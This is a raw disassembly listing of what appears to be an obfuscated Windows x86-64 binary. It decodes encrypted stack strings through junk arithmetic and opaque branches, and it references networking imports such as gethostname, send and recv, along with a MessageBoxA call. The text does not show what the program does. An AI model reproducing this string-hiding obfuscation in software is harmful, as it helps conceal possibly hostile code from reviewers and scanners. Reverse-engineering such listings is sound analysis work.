movzx eax, dl
and al, r11b
movzx ecx, r11b
sub cl, al
add cl, 0x34
add cl, cl
add dl, cl
jmp 0x1400b6960
lea ecx, [r10 + 0x7a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [rcx - 0x56]
jmp 0x1400b69e6
dec r10b
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 7
movzx eax, byte [rbp + rbx + 0x6c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b5f32
add r10b, 0x2d
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x3b
jmp 0x1400b6a11
lea ecx, [r10 + 0x5b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x7d
jmp 0x1400b69e6
sub r10b, 0x49
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
dec dl
add r8, r9
jmp 0x1400b69b4
add r10b, 0x13
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x7b
dec rbx
inc rbx
jmp 0x1400b5f32
lea ecx, [r10 + 0x6f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 9
jmp 0x1400b68fb
movzx r10d, bl
lea ecx, [r10 - 0x35]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x73
add r10b, 0x3f
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
add r11b, 0x47
add r11b, r10b
mov byte [rbp + rbx + 0x6c0], r11b
inc r9
dec rbx
inc rbx
jmp 0x1400b5f32
lea ecx, [rbx + 0x27]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x11
dec rbx
inc rbx
jmp 0x1400b5f32
movzx r10d, bl
lea ecx, [r10 + 0x55]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x53
add r10b, 0x11
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x77
add r10b, r11b
add r10b, dl
mov byte [rbp + rbx + 0x6c0], r10b
add r8, r9
jmp 0x1400b69b4
lea ecx, [rbx - 0x7d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x6b
add r8, r9
jmp 0x1400b69b4
lea rax, [rbx + r15]
and dil, al
add dil, dil
sub r11b, dil
lea edx, [rax + r11]
add dl, 0x29
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400b5f32
lea rcx, [rbx + r13]
and dil, cl
add dil, dil
movzx edx, r11b
sub dl, dil
sub dl, 0x19
add dl, cl
movzx r10d, bl
sub r10b, 0x1d
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x35
add r10b, r11b
movzx eax, r10b
mov byte [rbp + rbx + 0x6c0], al
inc r9
add rax, r9
sub rbx, rax
lea ecx, [rbx + 0x4c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x14
add cl, r11b
mov byte [rbp + rbx + 0x6c0], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x6c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b5f32
lea rax, [rbx + r12]
and dil, al
add dil, dil
sub r11b, dil
lea edx, [rax + r11]
add dl, 0x63
movzx eax, byte [rbp + rbx + 0x6c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b5f32
sub r10b, 0x73
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
add dl, 0x25
jmp 0x1400b5f30
sub r10b, 0x45
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x1d
jmp 0x1400b5f20
lea rdx, [rbp + 0x178f94c]
jmp 0x1400b6acc
lea rdx, [rbp + 0xa2fab5]
jmp 0x1400b6acc
lea rdx, [rbp + 0x6c0]
mov r9d, gethostname
mov r8, rsi
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xorps xmm0, xmm0
cmp eax, 6
jne 0x1400b8315
mov byte [rbp + 0x3f0], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x3f1], 0x67
mov byte [rbp + 0x3f2], 0x9f
mov byte [rbp + 0x3f3], WSAGetLastError
mov byte [rbp + 0x3f4], WSASetLastError
mov byte [rbp + 0x3f5], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x3f6], 0x7b
mov byte [rbp + 0x3f7], 0xbf
mov byte [rbp + 0x3f8], __WSAFDIsSet
mov byte [rbp + 0x3f9], 0x41
mov byte [rbp + 0x3fa], 0x44
mov byte [rbp + 0x3fb], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x3fc], 0x48
mov byte [rbp + 0x3fd], 0x53
mov byte [rbp + 0x3fe], 0x67
mov byte [rbp + 0x3ff], 0x53
mov byte [rbp + 0x400], Ordinal_200
xor eax, eax
movups xmmword [rbp + 0x401], xmm0
movups xmmword [rbp + 0x411], xmm0
mov word [rbp + 0x421], ax
movabs rdi, 0xb29c8e87f75879e3
movabs rsi, 0x17d5ab97e6096da9
movabs r14, 0xe247e5b7c36b5535
movzx edx, byte [rsp + 0x30]
nop word [rax + rax]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor r11d, r11d
cmp r11, 0x33
jae 0x1400b743f
movzx r10d, byte [rbp + r11 + 0x3f0]
mov ebx, r10d
nop dword [rax]
cmp r8, r11
ja 0x1400b7436
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400b6bfb
lea rcx, [r11 + rdi]
mov rax, rbx
and rax, rcx
imul rdx, rax, 0xfffffffffffffffe
add rdx, rbx
add rdx, rcx
sub dl, 0x35
jmp 0x1400b6c34
je 0x1400b73cc
inc rax
cmp r8, rax
je 0x1400b7346
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400b7316
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400b72f6
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400b72d3
cmp r9, r11
ja 0x1400b742d
lea rax, [r9 + 0x41]
cmp r8, rax
jae 0x1400b6c5c
lea edx, [r11 - 0x61]
movzx eax, dl
and al, r10b
add al, al
sub dl, al
sub dl, 0x59
add dl, r10b
jmp 0x1400b6ca9
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400b7292
inc rax
cmp r8, rax
je 0x1400b726f
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400b724f
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400b7235
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400b721b
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400b71ef
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, r11
jbe 0x1400b6efa
nop dword [rax]
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400b6edd
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400b6eba
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400b6e97
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400b6e7a
mov r8, rax
lea r9, [rax + 0x28]
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400b7411
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400b73f5
lea rcx, [r9 + 0xa]
cmp r8, rcx
jb 0x1400b6d69
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400b6e09
mov r8, rcx
lea r9, [rcx + 0x28]
lea rax, [r9 + 0x64]
cmp rcx, rax
ja 0x1400b6ddd
lea rax, [r9 + 0x28]
cmp rcx, rax
ja 0x1400b6dc0
lea rcx, [r9 + 0x3e8]
cmp r8, rcx
ja 0x1400b6da6
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400b6d83
mov r8, rcx
lea r9, [rcx + 0x61]
jmp 0x1400b6cc0
lea ecx, [r11 - 0x4b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0xd
jmp 0x1400b6bd0
lea ecx, [r11 + 0x32]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x5e
inc r9
dec r11
inc r11
jmp 0x1400b6bb3
lea ecx, [r11 + 0x54]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x4c
jmp 0x1400b7359
lea edx, [r11 - 0x72]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400b7387
lea ecx, [r11 - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x78
movzx eax, byte [rbp + r11 + 0x3f0]
add rax, r9
add r11, rax
inc r11
jmp 0x1400b6bb3
lea ecx, [r11 - 0x33]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x65
cmp r8, 0x80
jae 0x1400b719a
lea rax, [r9 + 0x400]
cmp r8, rax
jbe 0x1400b70c2
lea edx, [r11 - 0x4a]
movzx eax, dl
and al, r10b
mov ecx, 3
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
cmp r9, 0x2a
jb 0x1400b718a
lea ecx, [r11 + 0x72]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edx, [rcx*2 - 0x3c]
jmp 0x1400b72a7
lea edx, [r11 + 0x68]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400b732e
lea edx, [r11 + 0x16]
movzx eax, dl
and al, r10b
mov ecx, 0x33
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
dec r11
inc r11
jmp 0x1400b6bb3
lea ecx, [r11 + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x30
inc r9
dec r11
inc r11
jmp 0x1400b6bb3
lea edx, [r11 - 0x76]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_30
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400b72a7
lea rax, [r9 + 4]
cmp r8, rax
jae 0x1400b6f4f
lea ecx, [r11 - 0x1d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x35
lea rax, [r9 + r8]
cmp rax, 0x80
je 0x1400b71d7
lea rax, [r9 + 0x10]
cmp r8, rax
jbe 0x1400b6ff7
lea ecx, [r11 + 0x17]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x5f
jmp 0x1400b6e1e
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b6f87
lea edx, [r11 + 0x3e]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
movzx eax, byte [rbp + r11 + 0x3f0]
add rax, r9
add r11, rax
inc r11
jmp 0x1400b6bb3
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400b6fad
lea edx, [r11 - 0x36]
movzx eax, dl
and al, r10b
mov ecx, 0x3d
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400b7359
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400b6fd0
lea ecx, [r11 + 0x56]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x5a
jmp 0x1400b732b
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400b6f18
lea ecx, [r11 + 0x6e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 2
jmp 0x1400b72a7
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b701a
lea ecx, [r11 - 0x23]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0xb
jmp 0x1400b72a7
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400b7043
lea ecx, [r11 + 0x69]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x21
dec r11
inc r11
jmp 0x1400b6bb3
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400b7066
lea ecx, [r11 - 0xb]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x4d
jmp 0x1400b732b
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b7089
lea ecx, [r11 - 0x7f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x79
jmp 0x1400b7359
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400b6e1e
lea ecx, [r11 + 0xd]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x5b
movzx eax, byte [rbp + r11 + 0x3f0]
add rax, r9
add r11, rax
inc r11
jmp 0x1400b6bb3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b70f7
lea ecx, [r11 + 0x7c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x64
movzx eax, byte [rbp + r11 + 0x3f0]
add rax, r9
add r11, rax
inc r11
jmp 0x1400b6bb3
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400b711a
lea ecx, [r11 + 8]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x38
jmp 0x1400b7359
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b7140
lea edx, [r11 - 0x32]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400b732e
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400b7160
lea ecx, [r11 + 0x5a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x76
jmp 0x1400b71b1
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400b6e53
lea edx, [r11 - 0x54]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400b72a7
mov byte [rbp + r11 + 0x3f0], dl
inc r11
jmp 0x1400b6bb3
lea edx, [r11 + 0x38]
movzx eax, dl
and al, r10b
movzx ecx, r10b
sub cl, al
add cl, 0x3c
add cl, cl
add dl, cl
lea ecx, [r11 + 0x1b]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
add r10b, 0x43
add r10b, cl
add r10b, dl
mov byte [rbp + r11 + 0x3f0], r10b
jmp 0x1400b732b
lea edx, [r11 - 2]
movzx eax, dl
and al, r10b
mov ecx, 7
sub cl, al
add cl, cl
jmp 0x1400b7357
lea ecx, [r11 - 0x6b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x13
movzx eax, byte [rbp + r11 + 0x3f0]
add rax, r9
add r11, rax
inc r11
jmp 0x1400b6bb3
lea ecx, [r11 + 9]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x3f
jmp 0x1400b7359
lea ecx, [r11 + 0x7d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x6b
jmp 0x1400b732b
lea ecx, [r11 - 0xf]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x69
dec r11
inc r11
jmp 0x1400b6bb3
lea ecx, [r11 + 0x2b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x2d
inc r9
dec r11
inc r11
jmp 0x1400b6bb3
lea ecx, [r11 + 0x65]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x3d
lea ecx, [r11 + 0x55]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x53
add r10b, cl
mov byte [rbp + r11 + 0x3f0], r10b
inc r9
dec r11
inc r11
jmp 0x1400b6bb3
lea ecx, [r11 + 0x13]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x7b
inc r9
dec r11
inc r11
jmp 0x1400b6bb3
lea ecx, [r11 + 0x4d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x1b
dec r11
inc r11
jmp 0x1400b6bb3
lea ecx, [r11 - 0x3f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x47
add r8, r9
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1400b6bb3
lea rcx, [r11 + r14]
and bl, cl
add bl, bl
movzx edx, r10b
sub dl, bl
sub dl, 0x73
add dl, cl
movzx ebx, r11b
sub bl, 0x1f
movzx eax, r10b
and al, bl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x27
add cl, bl
movzx eax, cl
mov byte [rbp + r11 + 0x3f0], al
inc r9
add rax, r9
sub r11, rax
lea ecx, [r11 - 0x3c]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x5c
add r10b, cl
mov byte [rbp + r11 + 0x3f0], r10b
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add r11, rax
movzx eax, byte [rbp + r11 + 0x3f0]
add rax, r9
add r11, rax
inc r11
jmp 0x1400b6bb3
lea rax, [r11 + rsi]
and bl, al
add bl, bl
sub r10b, bl
lea edx, [rax + r10]
add dl, 0x61
movzx eax, byte [rbp + r11 + 0x3f0]
add rax, r9
add r11, rax
inc r11
jmp 0x1400b6bb3
sub r11b, 0x11
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
add dl, 0x77
jmp 0x1400b6bb0
add r11b, 0x29
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x1f
jmp 0x1400b6ba0
lea rsi, [rbp + 0x171e874]
jmp 0x1400b7446
lea rsi, [rbp + 0x4a6257]
jmp 0x1400b7446
lea rsi, [rbp + 0x3f0]
mov byte [rbp + 0x790], 0xbd
mov byte [rbp + 0x791], 0xdf
mov byte [rbp + 0x792], 0x98
mov byte [rbp + 0x793], Ordinal_217
mov byte [rbp + 0x794], 0x9a
mov byte [rbp + 0x795], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x796], 0xdb
mov byte [rbp + 0x797], 0xcb
mov byte [rbp + 0x798], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x799], Ordinal_217
mov byte [rbp + 0x79a], Ordinal_200
mov byte [rbp + 0x79b], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x79c], Ordinal_200
mov byte [rbp + 0x79d], 0xcb
mov byte [rbp + 0x79e], __WSAFDIsSet
mov byte [rbp + 0x79f], Ordinal_200
mov byte [rbp + 0x7a0], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x7a1], 0xec
mov byte [rbp + 0x7a2], 0xff
mov byte [rbp + 0x7a3], 0xf9
mov byte [rbp + 0x7a4], 0xff
mov byte [rbp + 0x7a5], 0xb1
mov byte [rbp + 0x7a6], 0xac
mov byte [rbp + 0x7a7], 0xf4
mov byte [rbp + 0x7a8], 0xfa
mov byte [rbp + 0x7a9], 0xa1
mov byte [rbp + 0x7aa], 0xc9
mov byte [rbp + 0x7ab], 0xf8
mov byte [rbp + 0x7ac], 0xfe
mov byte [rbp + 0x7ad], 0xf9
mov byte [rbp + 0x7ae], 0xa4
mov byte [rbp + 0x7af], 0xe5
mov byte [rbp + 0x7b0], 0xe1
mov byte [rbp + 0x7b1], 0xb9
mov byte [rbp + 0x7b2], 0xfb
mov byte [rbp + 0x7b3], 0xe5
mov byte [rbp + 0x7b4], 0xe4
mov byte [rbp + 0x7b5], 0xec
mov byte [rbp + 0x7b6], 0xeb
mov byte [rbp + 0x7b7], 0xe1
mov byte [rbp + 0x7b8], 0xfb
mov byte [rbp + 0x7b9], 0xf6
mov byte [rbp + 0x7ba], 0xf4
mov byte [rbp + 0x7bb], 0xb3
mov byte [rbp + 0x7bc], 0xe3
mov byte [rbp + 0x7bd], 0xeb
mov byte [rbp + 0x7be], 0xb4
mov byte [rbp + 0x7bf], 0xf3
mov byte [rbp + 0x7c0], 0xed
mov byte [rbp + 0x7c1], 0x9c
mov byte [rbp + 0x7c2], Ordinal_143
mov byte [rbp + 0x7c3], 0x9a
mov byte [rbp + 0x7c4], 0x98
mov byte [rbp + 0x7c5], Ordinal_143
mov byte [rbp + 0x7c6], Ordinal_211
mov byte [rbp + 0x7c7], __WSAFDIsSet
mov byte [rbp + 0x7c8], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x7c9], Ordinal_211
mov byte [rbp + 0x7ca], 0x9e
mov byte [rbp + 0x7cb], 0x84
mov byte [rbp + 0x7cc], 0xa8
mov byte [rbp + 0x7cd], __WSAFDIsSet
mov byte [rbp + 0x7ce], __WSAFDIsSet
mov byte [rbp + 0x7cf], 0x84
mov byte [rbp + 0x7d0], 0x9d
mov byte [rbp + 0x7d1], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x7d2], 0xe6
mov byte [rbp + 0x7d3], 0x9c
mov byte [rbp + 0x7d4], 0xb0
mov byte [rbp + 0x7d5], Ordinal_143
mov byte [rbp + 0x7d6], Ordinal_143
mov byte [rbp + 0x7d7], 0xdf
mov byte [rbp + 0x7d8], 0xfd
mov byte [rbp + 0x7d9], 0xea
mov byte [rbp + 0x7da], Ordinal_211
mov byte [rbp + 0x7db], 0xe5
mov byte [rbp + 0x7dc], 0xc0
mov byte [rbp + 0x7dd], Ordinal_217
mov byte [rbp + 0x7de], Ordinal_143
mov byte [rbp + 0x7df], __WSAFDIsSet
mov byte [rbp + 0x7e0], 0x83
mov byte [rbp + 0x7e1], 0xe9
mov byte [rbp + 0x7e2], 0xab
mov byte [rbp + 0x7e3], 0xeb
mov byte [rbp + 0x7e4], 0xa8
mov byte [rbp + 0x7e5], 0xba
mov byte [rbp + 0x7e6], 0xb7
mov byte [rbp + 0x7e7], 0xb3
mov byte [rbp + 0x7e8], 0xba
mov byte [rbp + 0x7e9], 0xfe
mov byte [rbp + 0x7ea], 0xbb
mov byte [rbp + 0x7eb], 0xbd
mov byte [rbp + 0x7ec], 0xe2
mov byte [rbp + 0x7ed], 0xa7
mov byte [rbp + 0x7ee], 0xa7
mov byte [rbp + 0x7ef], 0xb9
mov byte [rbp + 0x7f0], 0xe6
mov byte [rbp + 0x7f1], 0xac
mov byte [rbp + 0x7f2], 0xa8
mov byte [rbp + 0x7f3], 0xaa
mov byte [rbp + 0x7f4], 0xab
mov byte [rbp + 0x7f5], 0xbb
mov byte [rbp + 0x7f6], 0xbb
mov byte [rbp + 0x7f7], 0xad
mov byte [rbp + 0x7f8], 0xfe
mov byte [rbp + 0x7f9], 0x98
mov byte [rbp + 0x7fa], 0xa8
mov byte [rbp + 0x7fb], 0xa8
mov byte [rbp + 0x7fc], 0xb7
mov byte [rbp + 0x7fd], 0xad
mov byte [rbp + 0x7fe], 0xf4
mov byte [rbp + 0x7ff], 0xb2
mov byte [rbp + 0x800], 0xb5
mov byte [rbp + 0x801], 0x57
mov byte [rbp + 0x802], 8
mov byte [rbp + 0x803], 0x52
mov byte [rbp + 0x804], Ordinal_79
mov byte [rbp + 0x805], 0x59
mov byte [rbp + 0x806], recv
mov byte [rbp + 0x807], 0x64
mov byte [rbp + 0x808], 0x5f
mov byte [rbp + 0x809], 0x56
mov byte [rbp + 0x80a], 0
mov byte [rbp + 0x80b], 0x54
mov byte [rbp + 0x80c], 0x5c
mov byte [rbp + 0x80d], 0x47
mov byte [rbp + 0x80e], 0x47
mov byte [rbp + 0x80f], 0x59
mov byte [rbp + 0x810], 0x58
mov byte [rbp + 0x811], 0x5e
mov byte [rbp + 0x812], 0x5c
mov byte [rbp + 0x813], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x814], 0x41
mov byte [rbp + 0x815], 0x5b
mov byte [rbp + 0x816], Ordinal_30
mov byte [rbp + 0x817], Ordinal_79
mov byte [rbp + 0x818], 0x46
mov byte [rbp + 0x819], Ordinal_79
mov byte [rbp + 0x81a], 0x45
mov byte [rbp + 0x81b], reloc.WS2_32.dll_send
mov byte [rbp + 0x81c], Ordinal_79
mov byte [rbp + 0x81d], 0x56
mov byte [rbp + 0x81e], 0x44
mov byte [rbp + 0x81f], 0x47
mov byte [rbp + 0x820], 0x51
mov byte [rbp + 0x821], 0x77
mov byte [rbp + 0x822], 0x7d
mov byte [rbp + 0x823], gethostname
mov byte [rbp + 0x824], 0xca
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x825], xmm0
mov qword [rbp + 0x835], rax
mov dword [rbp + 0x83d], eax
mov word [rbp + 0x841], ax
movabs r14, 0xd9c92fb607edc60f
movabs r15, 0xa812ad66475bf687
movabs r12, 0x8d5b8f2217c9522d
movzx edx, byte [rsp + 0x30]
nop dword [rax]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor ebx, ebx
cmp rbx, 0xb3
jae 0x1400b8309
movzx r10d, byte [rbp + rbx + 0x790]
mov edi, r10d
nop dword [rax + rax]
cmp r8, rbx
ja 0x1400b82fd
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400b78fb
lea rcx, [rbx + r14]
mov rax, rcx
and rax, rdi
imul rdx, rax, 0xfffffffffffffffe
add rdx, rcx
add rdx, rdi
sub dl, 0x69
jmp 0x1400b7928
je 0x1400b828f
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400b8263
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400b824a
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400b822b
movzx r11d, bl
nop dword [rax]
cmp r9, rbx
ja 0x1400b82f1
lea rax, [r9 + 0xa]
cmp r8, rax
jae 0x1400b7959
lea ecx, [r11 + 0x3b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x63
jmp 0x1400b7990
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400b81e9
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400b81ca
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400b8146
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400b811a
nop dword [rax]
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x1400b7ef0
nop dword [rax]
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400b7ed4
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400b7eab
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400b7e85
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400b7e6a
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400b7e4b
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400b7e2f
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400b7e13
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400b7df3
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400b7dc2
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400b79a0
lea r8, [r9 + 0x2a]
lea r9, [r8 + 0x3e8]
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400b82d5
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400b82b9
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400b7b88
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400b7b6e
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400b7b54
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400b7d79
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400b7d30
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400b7cf3
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400b7ccd
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400b79a0
lea r8, [r9 + 1]
lea r9, [r8 + 0x400]
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400b7ca0
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400b7c82
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400b7c65
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400b7c45
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400b7c22
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400b7c08
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400b7be6
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400b7bc1
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400b7ba4
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400b79a0
lea r8, [r9 + 2]
lea r9, [r8 + 0x1000]
jmp 0x1400b79a0
lea ecx, [r11 + 0x25]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 3
jmp 0x1400b7990
lea ecx, [r11 + 7]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x31
jmp 0x1400b7930
sub r11b, 0x17
movzx eax, r11b
and al, r10b
add al, al
